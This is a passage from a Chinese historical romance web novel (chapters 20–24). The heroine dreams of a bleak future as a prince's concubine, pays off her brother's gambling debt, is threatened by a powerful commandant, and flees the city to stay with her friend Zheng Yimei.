可不论她愿不愿意,她的确做了,她也没那厚脸皮,去立一块假贞节牌坊。 三日之期已过,岑璠也没选择去赴约。 当晚珝儿拉着黄珍敲门,说是隔日要带她去挑些皮货料子,塞进她的嫁妆。 岑璠没怎么犹豫便答应了,珝儿拍手叫好,黄珍显然是被硬拽来的,不过一会儿便眯着眼睛,嚷嚷着犯困要回屋。 岑璠将两人送走,在门口停了好一阵。 一场雨后,天愈发炎热,夜晚也不那么寒凉,岑璠吹了会儿风,隐隐感觉到手上的伤有些疼,便回了屋。 之前太医给的方子有用药材泡手的,只是岑璠的伤好后,便将那药方收了起来。 乳娘这几日嘴就没怎么合拢过,瞧见自家姑娘揉着手心,当机立断又将那药方拿了出来,拣出药材煮成药水,端进屋子。 “这左右都要成婚了,姑娘可别再犯那倔脾气,殿下对姑娘可是上了心,咱不能自己作践自己的身子。” 岑璠一直都记得,这药材是晋王那时送的。 不知道为何,自从她碰上他以来,他似乎都在帮她,乳娘说是上心,似乎真没有错...... 可当晚岑璠做的梦,却又是另一番场景。 与前几日做的梦都不同,这一次她是旁观者,但看到的切切实实就是自己。 梦中的她中了那老太监的迷香,那五公主却出现的晚了些,引她去了晋王所在的地方。 在梦里,她自愿走进了那座废弃的宫殿。 21、第二十一章 梦里的五公主装出一副疯了的模样,将事情闹得宫内人尽皆知…… 她瞧见了晋王眼中的嫌恶,她害怕极了,怕自己只是一颗没用的棋子,被所有人丢弃,无声无息惨死在宫里。 于是在被请去殿前问话前,她以整理衣衫的借口为由禀退了来问话的宫女,还恬不知耻上手说要为他更衣。 在关上门的一瞬,她跪了下来,拽着男人的衣袖,列了诸多条件,权衡利弊,只为让他纳了她,卑微到了骨子里。 他答应了。 而后她便主动认下了所有事,换了他的名声,也为自己换了个侧室的位置。 在梦里,她的父亲骂得比现实更难听,说她是□□,珝儿在这之后,再也没怎么来过她的院子。 而那如皎月般的郑六姑娘,与她只有一面之缘,看她的眼神只有悲悯。 后来晋王回了晋阳,临走前也没人告诉她。 到了约定的日子,一辆马车把她接去了晋阳,路途跋涉,她孤身一人,到了晋地,还似遭遇匪乱。 救她的人看不清面容,可不是他,那人把她一路护送到晋阳,可城内没有大婚,也无人相迎。 她穿着红色的衣裳,被送进了最偏的院子。 当晚偏院冷清,没有人过来,几日后的夜晚,她端着亲手做的点心去他的书房外候着。 他没有吃那点心,隔日却是来了她的院子,夜半才走。 此后每隔几日,他便来一趟,她在床榻上任他放纵,摆出一个个令她不齿的姿势,却从未留住过人。 弃捐箧笥中,恩情中道绝,若说那班婕妤尚且还得到过天子宠爱,那她从头到尾,都只是个笑话。 可就这样她也没有离开,仍有所期盼,在府里天天受下人白眼,还是坚持做了点心送到那人的书房。 到最后也只换来了句,“这不是你能进的地方,以后不必再来。” 那声不必再来,透着厌烦,就连那眼神都冷得让她这个梦中旁观者心寒。 她后来便再也没出现在他的书房前,晋阳无亲友,她把自己关在那方破败的小院子,他们唯一的关系,也只在床榻上的纠缠。 直到有一日,他喝了个烂醉,匍匐在她的身上,冷冷地问了句,“岑璠,你不觉得自己可怜吗?” 她哭了,而他再也没出现在院子里。 梦中的她分明不像她…… 岑璠这样想着,梦却陡然混乱起来,或是女人的低咽,或是恸哭,最后停在了一场大雪,只剩了一声对不起。 真不像她…… 再醒来时,天已明,抬手拨开帐幔,光影映衬浮尘,白昼驱散了虚幻。 又是一场梦。 庄周梦蝶,梦是真是假,岑璠竟是彻底分不清了。 梦到大雪时,她只记得晋王那双冷眸,隔日便遇上了,而那佛堂中荒唐的梦,也成了事实…… 这场梦漫漫悠长,仿若走过了一生。 这难道就是自己将来要走的路吗…… 可那梦和现实有些差别,比如给她下药的是五公主,他们的事也没有败露在人前,他还非要娶她做正妃。 再比如,现在的她根本不会做什么点心。 她真的要入王府吗? 岑璠的脑中闪过一张张鄙夷的脸,或说她是□□,或说她是上不了台面的外室女,连带着自己的母亲也要被翻来覆去,成为别人口中的笑柄。 就像梦里的他说的那样,可怜,也可悲, 她不知道为何她会梦到这些,也许是一场虚幻,也有可能是因果轮回。 可现在的她,切切实实不想活成那般,也不想把自己窝藏在王府的院子里,只能在床榻间侍奉男人,让所有人看不起。 说不定哪天,周围的人都会疏离她…… 岑璠坐起身,静静坐了好一阵。 自上次梦以来,岑璠房中点上了安神香。 掀开帐幔,捏起炉盖,博山香炉中只剩了细碎香屑。 岑璠穿了鞋,推开房门,槿儿正站在门外。 “珝儿早些便来问过,正想着去叫姑娘呢。” 槿儿刚净过手,用裙边擦了水,进了房门,帮岑璠梳洗,一起出了门。 这次出门,岑璠带上了护卫墨群,黄珍跟着两人一起出门,对这般排场腹诽了两句。 即使在洛阳的大街上,岑璠也不想自己再遇上什么事,她真的有点怕了。 珝儿今天带足了银子,一手拿着荷包,拿在手上掂了掂,东张西望,看到能买东西的铺子,总要进去转两圈,兴致极佳。 黄珍前些日子忙着参加宴席诗会,显然也许久未出门,到了胭脂铺子,看得眼睛都直了,拽过珝儿软磨硬泡说要买。 珝儿将荷包拿远了些,“今天是来给阿姊挑嫁妆,这可是我的私房钱!” 黄珍撅起嘴,“她的嫁妆自是有父亲母亲去添,她一个做长姐的,嫁妆难不成还要你这个做弟弟的来凑?她缺银子啊?” 珝儿下意识看了看岑璠,舔了一下唇,似是不服气,又踮起了脚,“那怎么一样,这是我给阿姊买的!” 说罢,他牵起岑璠的手腕,将满满一荷包的银子扣在岑璠手里。 岑璠愣了愣,看着面前的两人吵吵嚷嚷,珝儿为她争得面红耳赤,下意识捏紧了手上的荷包。 黄珍撇了珝儿一眼,暗道小气,还是放不下手里好看的步摇,眼睛都红了。 珝儿见不得如此,“哎呀”一声,嫌弃地从荷包里拿了点银子,“就挑这一只啊!阿姊还没挑呢,你倒是先哭起来了!” 黄珍站在两人几步开外,帕子点了点眼泪,“我看你分明就是忘了,还有我这个妹妹…” 珝儿过去安抚,“你这不是还没嫁吗?你要是将来嫁了,我给的肯定也不比这少啊。” 闻言,岑璠眼睛动了动,再看两人一哭一哄,心绪落了下来。 她将荷包还给珝儿,“珝儿的心意阿姊知道,阿姊不缺钱,这簪子可以自己买。” “别啊阿姊。”珝儿又连忙靠了回去,“她就是个小丫头,你别把她的话当真啊!” 岑璠笑了笑,让一旁的槿儿挑了两只珠钗,取了腰间的荷包,掏了银子。 珝儿看着那两只素钗,心道这哪儿成,执意又给岑璠挑了一只石榴红宝簪,多子多福,寓意极好。 黄珍得了步摇后,便也安静了下来,珝儿便领着两人去成衣铺。 成衣铺前些日子换了掌柜,仔细听起来,竟是彭城人。 岑璠罕见地与掌柜说了几句。 兴许是生意人他乡遇故知,掌柜也笑得开怀,听珝儿说她要成婚,当即便说不多收银钱,差铺子里的人将挑好的衣裳送去虞府,不仅如此,临走前还送了岑璠一个熏香球。 黄珍拿起来闻了闻,“这是什么,竟这么香?” 掌柜道:“这位姑娘,这可是上好的迦南沉香。” “原来是迦南香啊……” 黄珍知道这迦南沉香价值万钱,父亲平日信佛,却都不怎么用沉香。 可这香中除了沉香,好像还有些别的香味。 “这里面还放了什么?” 掌柜笑了笑,夸她识货,“这里面还装了十几样香草,是小女亲自调的呢。” “小女就在隔壁铺子,姑娘要是喜欢香,不若去看看?” 黄珍捏着熏香球,看了掌柜两眼,应付了一声,倒没有去的意思。 岑璠却开了口,“掌柜同我指个位置,我们去一趟。” 珝儿终于听到岑璠有想买的东西,打起十二分精神,揪起黄珍指尖的香囊,推着她出了铺子。 掌柜在门口指了对面不起眼的铺子,岑璠让槿儿先在铺子挑衣裳,带着其他人去了隔壁铺子。 铺子弥漫着香草气息,黑暗的角落里坐着一女子,正在磨着香珠,听到声音站了起来,眯着眼睛向外摸索。 待走近些,几人俱是一惊,那掌柜的女儿,竟是盲女。 那姑娘在门口停住,面色如土,近处看去,迷起的眼睛隐约可见眼白,有些狰狞。 “可是有客人来?” 岑璠拿了那熏香球,放在盲女手心,姑娘香调得极好,想挑些用来熏衣裳。” 盲女手捏了一圈,“姑娘是要这种香吗?” “是。” “姑娘随我来。”盲女转了身,摸着柜格,止在一处,“这便是了。” 岑璠捻了一颗香丸,闻了闻指间,问道:“这样一颗要多少两银子?” “二两。” 黄珍惊道:“二两?这迦南香莫不是假的吧?” “姑娘有所不知,这香丸用的迦南香并不算多,是以并不贵,这里面还添有十几种香料香草,虽是寻常,却不遮沉香香气,反而更衬其清香。” 黄珍听的认真,又扯了珝儿的袖子。 珝儿一愣,抽开袖子,“别看我啊,说了只买一支簪子…” 黄珍点了下他的脑袋,“我看爹这些年是白养你了!” 珝儿揉了揉脑袋,这才想到自家爹是喜欢沉香的,看了看岑璠,从荷包里掏了银子,“这香我来买,就先要三盒吧。” 盲女转头去取香,岑璠没再开口多说什么。 街上仍是熙熙攘攘,回到对面的成衣铺,槿儿已经挑好了衣裳,岑璠随意指了几件便准备离开。 刚踏出铺面,却是有一群人围了上来,打头的人穿着锦衣,身后的显然是跟来撑场子的家丁。 这么大的阵仗,便是铺子的老板也走出来,一看究竟。 岑璠在最前,下意识将槿儿和珝儿护在身后。 然而那些人似乎并不是冲她来的。 为首的人指着她身后,“给我把他的手给我剁了!”【你现在阅读的是 】 22、第二十二章 还未等岑璠做出反应,珝儿已经惊恐万分,撒开腿往铺子里跑。 墨群扫了眼为首的人,刀未出鞘,刀柄一转,向前直往人胸口去。 为首的壮汉胸口被击得闷疼,向后跌了三步,被后面的人扶住,恶狠狠盯着铺子里的人,一摆手,后面的人蜂拥而上。 看热闹的人群四散开来,不敢招惹是非,岑璠还未搞清楚状况,往后退了几步,墨群见状,挡在她前面。 谁能想到,她在大市挑来的这个护卫,竟是身手敏捷,一点不落下风。 到她和槿儿面前的进攻,全都被墨群轻松截了下来,对方二三十个人,竟没人能近她的身。 只是对方人数众多,墨群与人正面对抗,有人趁机上楼,抓住了藏于二楼的珝儿。 珝儿被提了下来,两方见状都停了手。 珝儿大喊,“我阿姊可是未来的晋王妃!你们敢抓我,不怕得罪晋王吗?” 听到这番话,岑璠皱眉,复而又看向那些人。 那锦衣男子叉腰,“呸!什么狗屁晋王妃,不过是个会爬床的货色,赌债不还,今天你就算是世家的儿子,也要留一只手在这儿!” 墨群闻言,面色不善,抽出了刀来。 岑璠脸却白了几分,喃喃道:“你说我阿弟…欠你们赌债?” “可不是,五十两银子呢!” 这下就连槿儿也觉得不可思议,看了看珝儿,“五十两?” 岑璠转过头去,眼中尽是失望,珝儿撇开头,不敢看她。 那人似是不耐烦,嘴歪着摊开手,“你不是什么…什么晋王妃吗,要不你把这钱还了,咱们两清。” 岑璠抿了抿唇,深吸一口气,答应了下来,“好。” “晋王妃爽快人!”那人拍了拍手,大声喊道:“大家都听到了啊,晋王妃说了要还钱,明日一早,我去虞家取钱!” 说罢,那人便出了铺子,擒住珝儿的人一搡,珝儿爬倒在地。 岑璠低眼看他,嘴唇颤抖,什么也没说,转身离去。 珝儿知道她生气,赶紧爬起来追上她,“阿姊你听我解释…” 岑璠走得更快了些,就连槿儿都快跟不上她了。 槿儿直着急,“姑娘,你不若听小公子解释两句吧。” 可岑璠根本不想听,只顾埋头往前走,直到有人拦住去处才停下。 她抬头,发现竟是杨知聿。 墨群顿时警惕,上前一步。 杨知聿嘴角微提,上下打量他了一眼,显然没将他放在眼里,夸赞一句,“阁下好身手。” 墨群目光微低,收回些锋芒。 杨知聿没再理他,转头看向一旁的酒楼,“有人想见姑娘,姑娘可愿楼上一叙?” 岑璠有一种直觉,刚才那些人的出现并非巧合,若是要钱,大可去虞家,为何一定要在大市这种地方闹。 那些人言辞间,连晋王和世家都不放在眼里,显然是有人在撑腰。 岑璠抬头看了眼楼上,似是有个人,一直在看着她们。 “姑娘放心,只是想与姑娘说几句话。” 岑璠让槿儿他们先回家,跟着杨知聿上了楼,去的果然也是那靠窗的雅阁。 雅阁内的窗户早已关上,坐在雅阁中的男子已过中年,身长肩阔,狭长的眼睛除了冷,还多了些狠。 岑璠同那人隔了一段距离,停住脚步。 杨樾慢悠悠喝了口茶,斜看向杨知聿,“你在那里做甚,来坐。” 杨知聿目光瞟向还站着的岑璠,抿了抿唇,而后抬步走去,坐在了杨樾的对面。 岑璠站在原地,冷道:“太尉不是在晋阳?” 杨樾还是没有看她,给杨知聿倒了盏酒,“我想来就来,想走就走,姑娘能奈我何?” 岑璠道:“刚才那些人,是大人故意找来的吧。” 杨樾这才去看她,嘴角微扬,揶揄道:“没想到,姑娘算聪明。” 岑璠知道,这份夸赞并没有多少真诚。 刚才那些人,既不将其他中原世家放在眼中,对晋王也没有多少畏惧,想来想去,背靠的也只有杨氏了。 杨樾冷笑一声,“你既已知道,那便该懂我的意思,刚才只是个警告,若是姑娘还坚持想要自己不该要的东西,下次可不是五十两银子,或者是你弟弟一只手这么简单了。” 岑璠袖下手握紧,冷道:“太尉大人是何意,还望明示。” 杨樾看着她,尽是轻浮之色,“我承认,姑娘这皮相算是上品,有几分姿色,也有小聪明,可身份摆在那里,配不上那个位置。” 岑璠倒是并不恼,冷笑一声,“那杨太尉又聪明到哪去?” “还望太尉明白,是他想娶我,要劝也是该去劝晋王。” 杨樾摇了摇头,“我说了,你这小姑娘只是颇有小聪明,不过你这样的手段我见多了,欲擒故纵这招,有时确实管用,可不是长久之计。” 岑璠一时无语,觉得和此人讲不通道理,冷哼一声,干脆直问,“那太尉想让我做什么?” “很简单,姑娘今晚收拾东西,明日我会让人送姑娘出城,你且在城外待一阵,城里这边我会想办法,等这门亲事退了,姑娘再回来不迟。” 岑璠听完,愈发觉得荒谬,瞧他的表情也多了些蔑视,“太尉是当我傻吗?我出城,婚事一退,我焉有命在?” 杨樾没有丝毫慌乱,漠然道:“你只有这一条路可以选。” “你出城,我帮你把你弟弟的赌债还了,毕竟五十两银子,对于虞家并不算是笔小数目,事成之后,我再给你五百两银子,如何?” 岑璠笑了笑,“不劳杨将军费心,这笔债我能还,五百两银子,我也不稀罕。” 杨樾脸色冷到极点,一双眼睛凝在她脸上,嘴角紧绷,“你执迷不悟,就算我肯放过你,世家也不会放过你。郑家女本意属晋王,因为你忧心过度,去了别院养病,郑家就一个女儿,你以为郑中书令会甘心?” 岑璠眼中终于有了些慌乱,她记得乳娘和父亲都说过,郑家的姑娘和晋王有意结亲。 她不知道崔迟景在其中究竟是什么角色,可如果阿湄真的喜欢晋王,那她…… 那她和当年的黄映苒有何分别? 岑璠不禁又想到曾经那个梦,她嫁进王府,众叛亲离,身边的人看她的眼神皆是鄙夷…… 她逐渐乱了神,目光闪烁,往后退了两步。 杨樾冷笑一声。 他知道这些年岑家在彭城被黄家打压,那岑家老爷和世家对抗,还丢过官位,想必这女子是尝过厉害。 他冷声补了一句,“得罪了世家,你弟弟十条命也抵不起。” 岑璠唇咬的鲜红,浑身颤抖。 杨知聿终于打断了两人的话,“义父,不如我明日送岑姑娘出城?” 杨樾余光看向他,心有疑虑,“你?” 杨知聿点头,“是” 他看向岑璠,“岑姑娘若是信得过在下,明日午时大市最西边的酒馆旁有马车,我用性命担保,绝对会将姑娘平安送回来,如何?” 岑璠来回扫视两人,最后目光聚在杨知聿脸上,“好,不过你要答应我,不再找我身边人的麻烦。” “这个岑姑娘放心,不会。” * 事谈妥,杨知聿着人将岑璠送了回去。 槿儿问她刚才何事,岑璠只敷衍说是嫁妆的事。 乳娘恰巧正忙着给岑璠打点嫁妆,将槿儿今日陪她选的东西都盘算了一遍,还是嫌弃置办的太少,“啧”了一声,念叨说:“姑娘将来可是要进王府的,那对夫妇呀,之后肯定不舍得给姑娘添多少嫁妆,咱们还是要给自己多做些打算。” 说到此处,乳娘叹了口气,似是觉得可惜,“咱们这些年攒下的银子不算少,这多添些进去,应当也是能撑起些王府的排场。” 岑璠一句都没听进去,冷声开口,“嫁妆的事再说,乳娘先去,把珝儿叫过来。” 乳娘自也听槿儿提起了街上的事,停了话,“哎呦”一声,“姑娘还和小公子生气呐!姑娘从前没在这洛阳待过,可能不知道,这洛阳城内哪家公子哥没去那赌坊花楼过?” 岑璠并不认同,“他才十四岁,就赌输五十两不还,岑家两个舅舅的钱是怎么没的,乳娘应该也清楚。” 乳娘闭上嘴,缄口不言,岑璠转头吩咐道:“槿儿你去,把他带过来。” 槿儿听了令,过了许久,才将人带到。 珝儿低着头不敢看她,进了房门,慢慢挪着步子向前,“阿姊…” “跪下。”【你现在阅读的是 】 23、第二十三章 珝儿跪的干脆,挪近了些,“阿姊,真的不是你想的那样…” 岑璠并不想听他解释,“我问你,赌多久了?” “就…就那一次。” 岑璠笑了笑,“你当阿姊真的不知道?如果真的是第一次赌,那些人怎么会让你输,又怎么可能让你输五十两银子?” “那是因为…因为不是我去赌的…”珝儿声音越说越小。 “什么叫不是你去赌?” 珝儿见她愿意听,连忙抬了头,“阿姐不知,其实输了钱的是娄氏三公子,我只不过想是帮他去赢回来钱而已……” “然后呢?你就输回来了五十两?” 珝儿挠了挠头,“那娄公子输了钱,又不想让家里知道,他说我惯来聪明,就想叫我去试试,若是成了,他答应让我去之后丞相府的诗会呢!” 岑璠简直要被气笑了,“他说你聪明,你便信了去?娄氏是什么人家,若是他家里人愿意让他赌,能还不了银钱?” 珝儿听她说完,眼睛转悠了两圈,似是想明白了些,“他家里人不知道,所以他想找个借口,说是我赌输了钱,替我还钱?” 岑璠眼睛闭起,叹了口气,“现在你觉得,你还能去丞相府的雅会?” 珝儿嘴嘟起,“阿姊,我知错了…” 岑璠捏了捏眉心,“把手伸出来。” “阿姊…我知道错了,母亲也已经说过我了,那些钱母亲那边会帮忙还上,不用阿姊出。” 岑璠便是更生气了,浑身颤抖,声音严厉了些,“手伸出来!” 珝儿便是什么也不说了,瘪着嘴伸出手。 岑璠卷了桌上的乳娘的账本,“我看你就是被黄氏惯坏了。” 说罢,那账本便敲在了珝儿的手心,珝儿身子往后缩了缩,手却不敢躲,那响声清脆,珝儿手心顿时麻了,泪花蹦了出来。 乳娘心疼,“姑娘,小公子毕竟还小,已经知道错了,你看……” 岑璠手里拿着账本,连打十下,须臾后将账本摔下桌上,“你给我在这里保证,以后绝对不会再进赌场一步。” 珝儿抽噎道:“阿姊,我再也不赌了…” 岑璠扶着额头,不想再听,“你先回去吧…” 珝儿抹了眼泪,同她行了一礼离开。 房内静了下来,乳娘和槿儿看了看彼此,最后还是乳娘先站了出来,“姑娘消消气,眼下小公子已经知道错了,那五十两银子也不用咱们还,姑娘别气坏了身子。” “这五十两银子,咱们来还。” 乳娘愣了愣,着急地坐了下来,“姑娘啊,眼下正是咱们需要钱的时候!姑娘钱是多,也不缺这五十两,可这毕竟是银子,咱们这些钱留着,多给自己添点嫁妆不好吗?” 可这件事归根结底因她而起,若不是她,那些人也不可能为了五十两堂而皇之拿珝儿一只手做威胁。 她才是珝儿的姐姐,她也不想欠了黄氏的。 “这钱咱们来还。”岑璠坚持道:“乳娘把钱准备好,明日一早还给那些人,再代我回趟睢陵吧。” “回睢陵做甚?” 岑璠目光垂下,翻着账本,掩住情绪,“乳娘不是也说,准备嫁妆还需要钱?咱们剩下的银子都在寄云寺里,其他人去我也不放心。” 乳娘一想觉得有理,点了点头,见岑璠还生着气,便带着槿儿去外面安排回睢陵的事了。 待到两人走后,岑璠才她站起身,装了些银子,环视四周,锁向妆台。 她走过去,打开妆台上的一只精美的匣子,匣中只装了一只摔碎过的镯子,不过好在都用金丝缠合了起来。 岑璠将那镯子拿了出来,戴回手上。 * 翌日 直到辰时,昨日那些人还未上门。 岑璠料到了此事,可她知道,赌坊的银子,还是不该欠,否则之后还会有无穷的麻烦。 岑璠叫墨群拿了银子,带着珝儿去赌坊还钱,自己则留在府上,帮乳娘她们收拾好要带的东西,将两人送上马车,目送马车离开。 今日饭送来的早了些,往常乳娘和槿儿都会陪着岑璠一起吃饭,紫芯没瞧见人,一时间还有些不习惯。 紫芯摆了盘,半吞半吐道:“姑娘待会儿可是打算去铺子,要不...我陪着?” 岑璠看了眼她。 紫芯抿了下嘴,替自己解释,“我不是想监视你。” 岑璠凝视着她,问道:“你之前是黄家的奴仆?” “是,怎么了?” “可还有亲人在府上?” 紫芯有些不情愿地承认,“没有。” 她娘若是还活着,她怎么会来这儿做事? 岑璠沉默了一会儿,道:“那你也吃些东西,一会儿随我出去吧。” 紫芯“哦”了一声,去灶房吃了点东西,未到午时随岑璠和墨群出门。 本以为这大姑娘是要去大市买东西,谁知竟是停在了一辆不起眼的马车前。 墨群察觉到反常,问道:“姑娘这是要做什么?” 紫芯也停住脚步,一时脑子中想过很多可能,吓出一身冷汗。 车内的人掀开车帘,笑道:“没想到岑姑娘竟还带了人出来。” 岑璠没想到竟是杨知聿亲自过来,可想到他的话,语气中带了些试探,“杨将军是觉得不可以?” “自然是可以。”杨知聿看了看两人,先是对紫芯笑了笑,而后目光落在墨群身上,“这马车上坐不了那么多人,阁下身手非凡,想必赶个车,不算难事。” 原来车上的车夫闻言让出点位置,墨群并未说什么,上马车接过车夫手里的缰绳。 杨知聿似是哼了一声,放下帘子。 岑璠和紫芯上了马车,马车驶动,直向城外而去, 紫芯做过最后悔的决定,便是今天来了兴致,说要陪岑璠出门,她还记得,那日来宣读圣旨的便是这位杨将军。 现在这位杨将军竟然要带着大姑娘逃婚。 那她还能活吗? 想到此处,紫芯儿脸色白了几分。 杨知聿斜睨一眼,“你这小婢女,从前倒是没怎么见过,” 岑璠不欲多说,“我身边的人,杨将军不认识也正常。” 紫芯愈发慌乱,杨知聿轻笑,“你慌什么,她这是在救你,她若逃了,你家老爷不会放过你。” 岑璠轻剜了他一眼,似是嫌他话多。 紫芯嘟囔,“她要是真的为了我们好,那就不该逃…” 杨知聿笑而不语,又瞥了眼车外,叹了口气,“不识好人心啊。” 这话却并不是朝着紫芯,而是朝着岑璠说的。 岑璠道:“将军什么意思,不妨直说。” 杨知聿靠在车壁上,抱怨道:“姑娘信得过这两个人,却信不过在下,心寒呐。” 岑璠抿唇,不接他的话。 杨知聿不再逗她,“其实不信我,才是对的。” 岑璠微皱眉,似是不懂他的意思。 杨知聿摇头,“你这个人做事总是一根筋,不信一个人呢,看什么便都存有怀疑,一旦信任一个人,却偏什么都信。” “你的意思是,我不该信每一个人,是吗?” 杨知聿收起打趣的话,注视她的眼睛,“是,特别是身边的人,不该全信。” “你的意思是,我不该相信紫芯?” “不止是她,还有很多人。” 此话似是意有所指,岑璠想了许久,也未想明白。 杨知聿道:“在下自觉看人很准,只是提个醒而已,你那弟弟就不是个可信的人,他去赌坊,有告诉过你这个姐姐吗?” 这番话戳到岑璠心事,她睫翼微敛,“我已经教训过他了。” 杨知聿一耸肩,“你要觉得管用,那当我什么没说。” 马车内谁也没再搭理谁,陷入僵局。 行了将近一个时辰,紫芯中午没吃多少,这马车颠簸,胃里只觉得难受。 杨知聿找了个地方,停下来歇整。 岑璠没下马车,虽说已快进山,路上没多少人,她还是该小心些。 只是没过一会儿,便听见后方的车轮辘辘声。 杨知聿听到动静,掀开点帘子,从缝隙里侧头看了看。 他眼睛微眯,似是警惕,瞟了眼她,而后将帘子遮了个严实,做了个噤声的手势。【你现在阅读的是 】 24-30 第24章 第二十四章他呕了一口血 岑璠察觉到异样,紧抿着唇,手捏紧。 杨知聿低声喃喃两句,转眼瞧见岑璠这副紧张模样,眼中却多出来些玩味。 他压着声音神秘道:“你可知道,前面是谁的车?” 岑璠淡淡道:“不想知道。” 杨知聿自己回答,“你放心,他的人没追过来。” “前面是郑家的车。” 岑璠听到,却是怔了怔。 下一刻,她毫不犹豫自己掀开了帘子。 那被婢女搀扶下来的倩影,她几乎是一眼就认出来了。 昨天杨太尉说的话她还未忘,竟是真的,她真的出了城… 岑璠放下车帘,起身就要出去。 杨知聿拉住她的手腕,压低声音,“你干什么?岑璠,你再心好,也不必去和郑家人解释吧!” “你放开!” 杨知聿放开她,还是不敢大声说话,“那位姑娘心有所属,此番出来也只是郑家的意思,你不必去同她解释。” 坐在马车外的墨群却已经将两人的话听了进去,他向远处喊了一声,“郑姑娘,我家岑姑娘想见你。” 远处的人听见,向这边看来。 岑璠顾不得这么多,窜出马车。 郑伊湄看见她,惊讶道:“皎皎?” 听到这声“皎皎”,岑璠毫不犹疑跳下车,向她而去。 杨知聿望着走向彼此的两个姑娘,又低眼看墨群,冷笑一声。 墨群回了个挑衅的笑。 远处的岑璠并未注意到这些,只想着怎么和郑伊湄解释。 走近些,却还是不知道该怎么开口。 郑伊湄约莫知道她为何会这样,摇头温笑,“皎皎不要觉得有什么,外面那些话多是假的,我不喜欢晋王,你也没有抢我的婚事。” “倒是皎皎,你真的喜欢晋王吗,还是说晋王一厢情愿?” 自那道圣旨上门后,还没有人问过她是否喜欢…… 只有她这么问了。 岑璠鼻头一酸,不知怎么答,回头看向身后的马车。 郑伊湄顺着她的目光望去,在认出杨知聿时,转而明白了什么, 她锁紧眉,一向温和的面容多了些严厉,拉着她的手腕向前去。 杨知聿下车,向她端正行了个礼。 郑伊湄将她挡在身后,问:“不知杨将军带她出城,所谓何事?” 杨知聿知道瞒不住,索性照实答:“岑姑娘不喜欢这门婚事,在下只是带她出城而已。” “杨将军可知道,违抗圣旨,可是大罪。” “这门婚事,明日便会退。” 郑伊湄上前一步,问,“可有十足的把握?” 杨知聿目光微低,未直面她的问题,回避道:“我会护她周全。” 郑伊湄听罢,将岑璠又往身后带了些,“既无十足的把握,那不如我带着皎皎走,若是事成自是再好不过,若是不成,我一个女子,带着她也不会落得一个逃婚的罪责,将军看这样如何?” 事情超出了杨知聿的控制,他没有松口,反问道:“郑姑娘和她认识?” “认识,但这无关认识与否,我说的对她来说,是眼下最好的选择。” 郑伊湄转而问她,“皎皎觉得呢?” 杨知聿向她施示意,可岑璠没做理会,道:“杨将军先回去吧,我和阿湄走。” 一旁的墨群忽地笑了一声。 杨知聿睨了一眼,而后回过目光,笑道:“既是岑姑娘愿意,那就将这件事交给姑娘了。” 他转身,看了眼还在车上的墨群,冷道:“还望阁下尽好自己的本分,护好她。” 墨群下车,抱拳道:“不劳将军费心。” 说罢,便进了郑家的队伍。 紫芯去河边洗了脸,回来时发现马车已经不见踪影,停在面前的变成了一辆牛车。 本朝牛车并不是家家都能有,也只有品阶高些的士大夫贵族能用。 而面前的香车竟还用四头牛拉着,车架皆用金丝楠木做成,窗户镶金嵌宝,飞檐上雕有衔枝喜鹊,车前挂着一块润泽玉璧,四角挂钩上悬着香囊,莫不是四姓世家,才敢在此郊野如此张扬。 正当紫芯诧异是,只见守在车外的墨群头往里一歪,示意她进去。 车内宽敞,一贴身丫鬟正打着扇,而那贵女正握着自家姑娘的手,道:“这镯子碎了没关系,我再给你一个就是了。” 自家小姐回了个笑,声音可比她见过的任何时候都温柔,“这手伤了也可惜,本想着给你亲自画一幅的…” 紫芯挤了挤眉,悄无声息地坐下, 郑伊湄倒是注意到了她,笑了笑,“这小姑娘,上次倒是没见你带出来。” 岑璠笑了笑,也并未多说什么,介绍道:“这位是我身边的紫芯,上次那个是槿儿。” 郑伊湄颔首:“你和紫芯姑娘这几日就随我在别院住几日,那晋王并非痴缠之人,并非没有转圜的余地。” “多谢阿湄。” “你我之间不必言谢的。”郑伊湄还有事不放心,又提醒道:“皎皎可知,这晋王有位舅父是当朝太尉,也是刚才那位杨将军的义父?” 岑璠移开目光,道:“知道…” 郑伊湄道:“皎皎要记住,无论这婚能不能退成,都要小心此人。” 那杨樾为达目的不择手段,心狠手辣,他父亲虽是晋王势力,可也并不认同此人作风。 此番晋王执意求娶,皎皎必会成此人眼中钉。 一旁的蒲菊轻声接话道:“姑娘您也知道,那杨将军是不好惹的……” 岑璠便是有些犹豫,“我住在你的别院,会不会给郑家添麻烦?” 只见郑伊湄敲了 下蒲菊的脑门,道:“皎皎放心,我郑家的麻烦,他还不敢找。” 岑璠便是安心了许多。 紫芯却愣住。 据她所知,洛阳能坐得起这种牛车,只有一位郑六姑娘…… 先是杨将军,现在换做郑姑娘,难不成是三人合谋?这郑姑娘不是先前打算嫁给晋王吗? 她没听错吧…… 紫芯满腹疑问,却也不敢问出口。 牛车行了有一会儿,斑驳的树影漏下日光,已然进了山林,隐约能听见鹃鸟悠扬,清风吹进来青草木香。 郑伊湄看了看窗外,道:“我的院子离这儿不远,若是不嫌热,咱们待会儿可以去放纸鸢,想去河边钓鱼也行,煨了汤尝个鲜头。” “我院子里还有几坛酒,咱们晚上也可以尝几杯……” 她滔滔不绝,岑璠只在旁安静地听。 纸鸢,钓鱼,喝酒…… 这些事她来洛阳时,想都不敢想。 一缕光自帘外漏了进来,岑璠不由自主也挑开车帘。 暖阳和风,一切都很惬意。 她盈盈一笑,眼中倒映着和煦的春光,“那咱们一会儿去钓鱼吧。” “好啊。” 不过一会儿,牛车便停在了一处院落,即使是山间别院,也是一座三进院。 紫芯自幼在黄家,倒也没见过这样的院子,那院门枋上雕刻着云纹野鹤,门上挂着一只绣球纱灯,游廊上的横梁镶着金纹。 过了垂花门,庭院内小池边上的亭子都是用琉璃瓦铺成的,即使不常住人,也有不少仆人在此洒扫,倒是不知京城郑氏的府邸又会富丽堂皇成什么样。 郑伊湄带着她转了一圈院子,让吩咐院子里的厨娘准备酒菜,带着几个人,拿了鱼竿鱼篓出了门。 没过几步便到了河边,停在岸边的一棵槐树下,不用吩咐,便有侍卫摆了扇屏风,遮住烈阳,侍女将软凳和果子放在一旁,本来想留一两个婢女打扇,也被郑伊湄遣了下去。 紫芯站在原地,一时转不过弯,蒲菊便是拉着她的胳膊,到远处去摘果子了。 郑伊湄抛了竿,岑璠见状也挂饵甩出钩。 郑伊湄看着她一套动作娴熟,不禁扑哧一笑,“皎皎从前可是经常钓鱼?” 岑璠点头,“之前总是画别人钓鱼,后来便自己试着去钓了” 郑伊湄笑了笑,“还未问过皎皎,外面都说,松白先生已年过四十,为何…会是皎皎?” 